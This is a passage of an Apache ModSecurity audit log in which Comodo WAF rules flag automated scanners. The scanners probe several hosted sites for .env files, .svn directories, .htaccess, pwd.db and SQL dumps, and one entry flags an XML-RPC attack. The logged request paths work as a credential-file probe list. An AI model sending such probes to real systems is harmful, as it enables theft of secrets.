<https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a1555fd865c69c880ce25b2c82d71a061750037188; expires=Mon, 16 Jun 2025 02:26:28 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b4671f4c-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/2009.sql"] [unique_id "aE9yxOhCUAahT1nBjTYNagAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037188086403 729637 (- - -) Stopwatch2: 1750037188086403 729637; combined=1750, p1=332, p2=1328, p3=0, p4=0, p5=89, sr=99, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b4671f4c-Z-- --42c1ca0a-A-- [16/Jun/2025:06:56:35.984700 +0530] aE9yy4kQyF8-ounHsxsFAgAAAA8 185.177.72.210 35892 127.0.0.1 7081 --42c1ca0a-B-- GET /old/.svn/ HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --42c1ca0a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8c145736641373045cef0f04be9bf8681750037195; expires=Mon, 16 Jun 2025 02:26:35 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --42c1ca0a-H-- Message: Warning. Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/old/.svn/"] [unique_id "aE9yy4kQyF8-ounHsxsFAgAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037195342770 642019 (- - -) Stopwatch2: 1750037195342770 642019; combined=1897, p1=384, p2=1413, p3=0, p4=0, p5=99, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --42c1ca0a-Z-- --734ff572-A-- [16/Jun/2025:06:56:36.967574 +0530] aE9yzPv_9qNKLXJRkuZdkQAAAAs 185.177.72.210 35910 127.0.0.1 7081 --734ff572-B-- GET /:8880/journal/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --734ff572-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e21af7c5a5cbe9cc0fb3750e5aba42521750037196; expires=Mon, 16 Jun 2025 02:26:36 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --734ff572-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/journal/.env"] [unique_id "aE9yzPv_9qNKLXJRkuZdkQAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037196309912 657737 (- - -) Stopwatch2: 1750037196309912 657737; combined=1877, p1=426, p2=1336, p3=0, p4=0, p5=115, sr=96, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --734ff572-Z-- --59244443-A-- [16/Jun/2025:06:56:41.990793 +0530] aE9y0boFnONBt7jRcByT9gAAAA4 185.177.72.210 48472 127.0.0.1 7081 --59244443-B-- GET /example.htaccess HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --59244443-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=fe67abfcf224beb8aa39da8dc54ef3431750037201; expires=Mon, 16 Jun 2025 02:26:41 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --59244443-H-- Message: Warning. Matched phrase ".htaccess" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/example.htaccess"] [unique_id "aE9y0boFnONBt7jRcByT9gAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037201351183 639700 (- - -) Stopwatch2: 1750037201351183 639700; combined=1725, p1=396, p2=1220, p3=0, p4=0, p5=108, sr=112, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --59244443-Z-- --495f3533-A-- [16/Jun/2025:06:56:46.004247 +0530] aE9y1fv_9qNKLXJRkuZdlAAAAAs 185.177.72.210 48642 127.0.0.1 7081 --495f3533-B-- GET /:9000/vendor/laravel/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --495f3533-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=bcdc31b0de5e61f567a3e7ffa3dec0af1750037205; expires=Mon, 16 Jun 2025 02:26:45 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --495f3533-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/vendor/laravel/.env"] [unique_id "aE9y1fv_9qNKLXJRkuZdlAAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037205332189 672120 (- - -) Stopwatch2: 1750037205332189 672120; combined=1961, p1=397, p2=1467, p3=0, p4=0, p5=97, sr=99, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --495f3533-Z-- --2e85096f-A-- [16/Jun/2025:06:57:28.108419 +0530] aE9y__bo0R64L12N_albrwAAAAQ 128.199.112.101 57974 127.0.0.1 7081 --2e85096f-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 496 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --2e85096f-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --2e85096f-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9y__bo0R64L12N_albrwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037247110136 998363 (- - -) Stopwatch2: 1750037247110136 998363; combined=2084, p1=351, p2=1327, p3=43, p4=66, p5=182, sr=91, sw=115, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2e85096f-Z-- --b0d9f11b-A-- [16/Jun/2025:06:57:45.047822 +0530] aE9zEehCUAahT1nBjTYNkgAAAAM 54.206.199.238 60186 127.0.0.1 7081 --b0d9f11b-B-- GET /.env HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 54.206.199.238 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* --b0d9f11b-F-- HTTP/1.1 404 Not Found Last-Modified: Wed, 04 Sep 2024 11:42:46 GMT ETag: "328-62149ac424b46" Accept-Ranges: bytes Content-Length: 808 Connection: close Content-Type: text/html --b0d9f11b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.sarainternational.ae"] [uri "/.env"] [unique_id "aE9zEehCUAahT1nBjTYNkgAAAAM"] Stopwatch: 1750037265044491 3389 (- - -) Stopwatch2: 1750037265044491 3389; combined=1989, p1=392, p2=1538, p3=0, p4=0, p5=59, sr=91, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b0d9f11b-Z-- --72b89015-A-- [16/Jun/2025:06:57:46.985589 +0530] aE9zEjZ3uHeEW3BYvDO5iAAAAAA 54.206.199.238 60274 127.0.0.1 7081 --72b89015-B-- GET /.env HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 54.206.199.238 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* --72b89015-F-- HTTP/1.1 404 Not Found Last-Modified: Wed, 04 Sep 2024 11:42:46 GMT ETag: "328-62149ac424b46" Accept-Ranges: bytes Content-Length: 808 Connection: close Content-Type: text/html --72b89015-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.sarainternational.ae"] [uri "/.env"] [unique_id "aE9zEjZ3uHeEW3BYvDO5iAAAAAA"] Stopwatch: 1750037266982733 2914 (- - -) Stopwatch2: 1750037266982733 2914; combined=1758, p1=347, p2=1352, p3=0, p4=0, p5=59, sr=79, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --72b89015-Z-- --fbacf66d-A-- [16/Jun/2025:06:57:48.284173 +0530] aE9zE_vF1ly0gx5reNmBIQAAAAE 185.177.72.210 60290 127.0.0.1 7081 --fbacf66d-B-- GET /Thumbs.db HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --fbacf66d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0588f0cb581ba9769d4f5be635adb6281750037268; expires=Mon, 16 Jun 2025 02:27:48 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --fbacf66d-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/Thumbs.db"] [unique_id "aE9zE_vF1ly0gx5reNmBIQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037267581223 703013 (- - -) Stopwatch2: 1750037267581223 703013; combined=1837, p1=348, p2=1412, p3=0, p4=0, p5=77, sr=95, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fbacf66d-Z-- --b3b6d54d-A-- [16/Jun/2025:06:57:51.872940 +0530] aE9zF-Mjvy_LHXlMeRAR6wAAAAU 54.206.199.238 35012 127.0.0.1 7081 --b3b6d54d-B-- GET /.env HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 54.206.199.238 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* --b3b6d54d-F-- HTTP/1.1 404 Not Found Last-Modified: Wed, 04 Sep 2024 11:42:46 GMT ETag: "328-62149ac424b46" Accept-Ranges: bytes Content-Length: 808 Connection: close Content-Type: text/html --b3b6d54d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.sarainternational.ae"] [uri "/.env"] [unique_id "aE9zF-Mjvy_LHXlMeRAR6wAAAAU"] Stopwatch: 1750037271869707 3304 (- - -) Stopwatch2: 1750037271869707 3304; combined=1948, p1=465, p2=1422, p3=0, p4=0, p5=60, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b3b6d54d-Z-- --a8751d39-A-- [16/Jun/2025:06:57:54.158141 +0530] aE9zGfv_9qNKLXJRkuZdtAAAAAs 185.177.72.210 35134 127.0.0.1 7081 --a8751d39-B-- GET /:8008/.env.copy HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a8751d39-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d3aae8a5982aad1721f937120e217c0d1750037273; expires=Mon, 16 Jun 2025 02:27:53 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a8751d39-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/.env.copy"] [unique_id "aE9zGfv_9qNKLXJRkuZdtAAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037273469717 688511 (- - -) Stopwatch2: 1750037273469717 688511; combined=2106, p1=404, p2=1584, p3=0, p4=0, p5=118, sr=119, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a8751d39-Z-- --797d9a11-A-- [16/Jun/2025:06:57:55.723249 +0530] aE9zG_vF1ly0gx5reNmBKAAAAAE 185.177.72.210 35246 127.0.0.1 7081 --797d9a11-B-- GET /pwd.db HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --797d9a11-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=618b31b79c5b25c401dc7121938f6b6e1750037275; expires=Mon, 16 Jun 2025 02:27:55 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --797d9a11-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/pwd.db"] [unique_id "aE9zG_vF1ly0gx5reNmBKAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037275065759 657564 (- - -) Stopwatch2: 1750037275065759 657564; combined=1656, p1=307, p2=1252, p3=0, p4=0, p5=97, sr=84, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --797d9a11-Z-- --52439027-A-- [16/Jun/2025:06:57:56.725585 +0530] aE9zHOMjvy_LHXlMeRAR7gAAAAU 54.206.199.238 35328 127.0.0.1 7081 --52439027-B-- GET /.env HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 54.206.199.238 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* --52439027-F-- HTTP/1.1 404 Not Found Last-Modified: Wed, 04 Sep 2024 11:42:46 GMT ETag: "328-62149ac424b46" Accept-Ranges: bytes Content-Length: 808 Connection: close Content-Type: text/html --52439027-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.sarainternational.ae"] [uri "/.env"] [unique_id "aE9zHOMjvy_LHXlMeRAR7gAAAAU"] Stopwatch: 1750037276722528 3139 (- - -) Stopwatch2: 1750037276722528 3139; combined=1853, p1=376, p2=1399, p3=0, p4=0, p5=78, sr=100, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --52439027-Z-- --24b9397a-A-- [16/Jun/2025:06:58:01.386944 +0530] aE9zIeMjvy_LHXlMeRAR8gAAAAU 54.206.199.238 34252 127.0.0.1 7081 --24b9397a-B-- GET /vendor/.env%20 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 54.206.199.238 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* --24b9397a-F-- HTTP/1.1 404 Not Found Last-Modified: Wed, 04 Sep 2024 11:42:46 GMT ETag: "328-62149ac424b46" Accept-Ranges: bytes Content-Length: 808 Connection: close Content-Type: text/html --24b9397a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.sarainternational.ae"] [uri "/vendor/.env%20"] [unique_id "aE9zIeMjvy_LHXlMeRAR8gAAAAU"] Stopwatch: 1750037281384045 2958 (- - -) Stopwatch2: 1750037281384045 2958; combined=1698, p1=382, p2=1259, p3=0, p4=0, p5=57, sr=84, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --24b9397a-Z-- --799a824b-A-- [16/Jun/2025:06:58:06.289729 +0530] aE9zJYkQyF8-ounHsxsFNQAAAA8 185.177.72.210 34668 127.0.0.1 7081 --799a824b-B-- GET /secure/.env.prod HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --799a824b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=fdbd28599d79eddb3fc501f0d611e98b1750037286; expires=Mon, 16 Jun 2025 02:28:06 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --799a824b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched 